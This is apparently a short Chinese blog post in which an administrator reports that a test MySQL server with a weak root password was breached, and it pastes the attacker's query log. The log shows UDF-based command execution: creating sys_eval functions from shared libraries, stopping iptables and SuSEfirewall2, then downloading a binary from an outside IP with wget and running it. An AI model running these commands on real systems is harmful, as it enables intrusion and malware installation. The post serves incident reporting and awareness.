標籤:mysql 安全
一個測試庫,由於之前部署的時候沒注意它有公網地址,因此密碼也設得比較簡單,直接把root密碼設為123456,沒想到很快就被掃描後登進去了,還建了一個使用者,試圖利用mysql udf取得機器系統許可權。如下:
108883 Connect [email protected]on
108883 Query CREATE FUNCTION sys_eval RETURNS string SONAME‘mysqludf.so‘
108883 Query CREATE FUNCTION sys_eval RETURNS string SONAME‘mysqludf64.so‘
108883 Query CREATE FUNCTION sys_eval RETURNS string SONAME‘lib_mysqludf.so‘
108883 Query CREATE FUNCTION sys_eval RETURNS string SONAME‘udf.so‘
108883 Query CREATE FUNCTION sys_eval RETURNS string SONAME‘xiaoji64.so‘
108883 Query CREATE FUNCTION sys_eval RETURNS string SONAME‘xiaoji.so‘
108883 Query CREATE FUNCTION sys_eval RETURNS string SONAME‘liunx32.so‘
108883 Query CREATE FUNCTION sys_evalRETURNS string SONAME ‘liunx64.so‘
108883 Query create function sys_eval returns string soname"lib_mysqludf_sys.so"
108883 Query CREATE FUNCTION mylab_sys_exec RETURNS INTEGERSONAME "mylab_sys_exec.so"
108883 Query system wget http://106.122.249.81:222/Client32
108883 Query system chmod +x Client32
108883 Query system chmod 777 Client32
system ./Client32
108883 Query select sys_eval("/etc/init.d/iptablesstop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget-c
http://106.122.249.81:222/Client32;chmod777 Client32;./Client32;")
108883 Query SELECT mylab_sys_exec(/etc/init.d/iptables stop
108883 Query service iptables stop
108883 Query SuSEfirewall2 stop
108883 Query reSuSEfirewall2 stop
108883 Query wget-c http://106.122.249.81:222/Client32
151208 10:09:40108883 Query chmod 777 Client32
108883 Query ./Client32
108883 Query ");
關於UDF提權是咋回事,這裡不細說了。
本文出自 “記憶片段” 部落格,請務必保留此出處http://weikle.blog.51cto.com/3324327/1761297
mysql中UDF引入的安全問題